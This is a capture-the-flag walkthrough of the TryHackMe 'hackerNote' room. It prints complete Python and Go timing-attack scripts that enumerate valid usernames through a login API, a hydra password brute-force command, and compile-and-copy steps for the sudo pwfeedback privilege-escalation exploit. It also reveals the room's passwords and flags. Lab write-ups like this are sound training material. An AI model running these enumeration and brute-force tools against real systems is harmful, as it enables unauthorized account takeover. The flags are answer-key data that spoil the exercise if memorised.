In this walk through, we will be going through the hackerNote room from Tryhackme. This room is rated as Medium on the platform and it consist a custom webapp, introducing username enumeration, custom wordlists and a basic privilege escalation exploit. So, let’s get started without any delay.

Table of Contents
Machine Info:
| Title | hackerNote |
| IPaddress | 10.10.148.181 |
| Difficulty | Medium |
| Objective | A custom webapp, introducing username enumeration, custom wordlists and a basic privilege escalation exploit. |
Task 1 – Reconnaissance
Question 1 – Which ports are open? (in numerical order)
- Used the below command to perform a port and service version detection using nmap.
sudo nmap -sS -sV 10.10.148.181

22,80,8080Question 2 – What programming language is the backend written in?
go
Task 2 – Investigate
Question 1 – Create your own user account
Done


Question 2 – Log in to your account
Done

Question 3 – Try and log in to an invalid user account
Done
Question 4 – Try and log in to your account, with an incorrect password.
Done
Question 5 – Notice the timing difference. This allows user enumeration
Done
Task 3 – Exploit
Question 1 – Try to write a script to perform a timing attack.
Done- As per the network tab, a request is being made to the /api/user/login endpoint whenever we try to login as a user. There is a time delay when a attempt of login is being done for a valid user, which let us enumerate us the potential users.

Question 2 – How many usernames from the list are valid?
- I used the the exploit written in go as the python one was really slow. However, with the “go” one, there is a lot of false positives and it requires couple of attempts to get it right.
# Timing attack exploit on the login form for hackerNote
# You can increase your success chance by adding your own username to the top of the list
# Assumes you have at least ONE correct username, create an account and use that!
import requests as r
import time
import json
URL = "http://10.10.148.181/api/user/login"
USERNAME_FILE = open("usernames.txt", "r")
usernames = []
for line in USERNAME_FILE: # Read in usernames from the wordlist
usernames.append(line.replace("\n", ""))
timings = dict()
def doLogin(user): # Make the HTTP request to the API
creds = {"username": user, "password": "invalidPassword!"}
response = r.post(URL, json=creds)
if response.status_code != 200: # This means there was an API error
print("Error:", response.status_code)
print("Starting POST Requests")
for user in usernames:
# Do a request for every user in the list, and time how long it takes
startTime = time.time()
doLogin(user)
endTime = time.time()
# record the time for this user along with the username
timings[user] = endTime - startTime
# Wait to avoid DoSing the server which causes unreliable results
time.sleep(0.01)
print("Finished POST requests")
# Longer times normally mean valid usernames as passwords were verified
largestTime = max(timings.values())
smallestTime = min(timings.values())
# Ideally the smallest times should be near instant, and largest should be 1+ seconds
print("Time delta:", largestTime-smallestTime, "seconds (larger is better)")
# A valid username means the server will hash the password
# As this takes time, the longer requests are likely to be valid users
# The longer the request took, the more likely the request is to be valid.
for user, time in timings.items():
if time >= largestTime * 0.9:
# with 10% time tolerence
print(user, "is likely to be valid")package main
import (
"bufio"
"encoding/json"
"log"
"net/http"
"os"
"strings"
"time"
)
var (
usernameChan chan string
resultsChan chan result
)
type login struct {
Username string `json:"username"`
Password string `json:"password"`
}
type result struct {
username string
time int64
}
func main() {
var usernameSlice []string
var resultsSlice []result
file, err := os.Open("usernames.txt")
if err != nil {
log.Fatalln(err)
}
defer file.Close()
//Create a reader and read usernames in
scanner := bufio.NewScanner(file)
for scanner.Scan() { //Build wordlist as a Slice (array)
usernameSlice = append(usernameSlice,
strings.TrimSuffix(scanner.Text(),
"\n"))
}
//Create buffers/channels for threads
bufSize := len(usernameSlice)
usernameChan = make(chan string, bufSize)
resultsChan = make(chan result, bufSize)
log.Println("Usernames buffered, sending requests")
for i:=0;i<bufSize;i++ { //Send the work to each thread
usernameChan <- usernameSlice[i]
//Back off every 50 requests, otherwise you *WILL* DoS the server
if i % 50 == 0 {time.Sleep(time.Millisecond*200)}
go doAndtimeRequest(<- usernameChan)
}
log.Println("Work sent")
for i:=0;i<bufSize;i++ { //Retrieve results from each thread
var res result
res = <- resultsChan
resultsSlice = append(resultsSlice, res)
}
log.Println("Work completed")
max := findMax(resultsSlice)
findValidUsernames(resultsSlice,max)
}
func findValidUsernames(res []result, max int64) { //using the max time, find times within 10% of this and print unames
threshold := 0.9 * float64(max)
for _, val := range res {
if float64(val.time) > threshold {
log.Println(val.username, "is likely to be valid")
}
}
}
func findMax(res []result) int64 {
max := int64(0)
for _, val := range res {
if val.time > max {
max = val.time
}
}
return max
}
func doAndtimeRequest(username string) {
start := time.Now()
doLoginPOST(username)
end := time.Now()
res := result{username: username, time: end.Sub(start).Nanoseconds()}
resultsChan <- res
}
func doLoginPOST(username string) { //This performs the API POST request
jsonStr, err := json.Marshal(login{Username: username, Password: "invalidPassword1"})
if err != nil {
log.Println(err.Error())
}
reader := strings.NewReader(string(jsonStr))
resp, _ := http.Post("http://10.10.148.181/api/user/login", "application/json", reader)
resp.Body.Close()
}
1Question 3 – What are/is the valid username(s)?

james
Task 4 – Attack Passwords
Question 1 – Form the hydra command to attack the login API route
Done./combinator.bin ~/CTF/TryHackme/hackernote/colors.txt ~/CTF/TryHackme/hackernote/numbers.txt > ~/CTF/TryHackme/hackernote/wordlist.txt

hydra -l james -P wordlist.txt 10.10.148.181 http-post-form "/api/user/login:username=^USER^&password=^PASS^:Invalid Username Or Password"
Question 2 – How many passwords were in your wordlist?
wc -l wordlist.txt

180Question 3 – What was the user’s password?

blue7Question 4 – Login as the user to the platform
Done
Question 5 – What’s the user’s SSH password?

dak4ddb37bQuestion 6 – Log in as the user to SSH with the credentials you have.
Done
Question 7 – What’s the user flag?
thm{56911bd7ba1371a3221478aa5c094d68}
Task 5 – Escalate
Question 1 – What is the CVE number for the exploit?


CVE-2019-18634 Question 2 – Find the exploit from https://github.com/saleemrashid/ and download the files.
Done
Question 3 – Compile the exploit from Kali linux.
Donegcc exploit.c -o pwn

Question 4 – SCP the exploit binary to the box.
Donescp pwn [email protected]:/tmp


Question 5 – Run the exploit, get root.
DoneQuestion 6 – What is the root flag?

thm{af55ada6c2445446eb0606b5a2d3a4d2}
Task 6 – Comments on realism and Further Reading

Also Read: Tryhackme – Gallery
Conclusion:

So that was “hackerNote” for you. We first started with a nmap scan with service version detection flag set and found three ports opened – 22 (SSH), 80 and 8080 (HTTP). Enumerated the web application on port 80 and a notes application. I checked the network tab and tried to login, there found out that a login request to an API endpoint at /api/user/login is being made. Used a go exploit to enumerate the potential usernames with the API endpoint. Bruteforced the user james SSH password using SSH and thus got the initial access. At last, escalated our privileges by using Sudo “Pwfeedback” Buffer overflow exploit and got root. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.




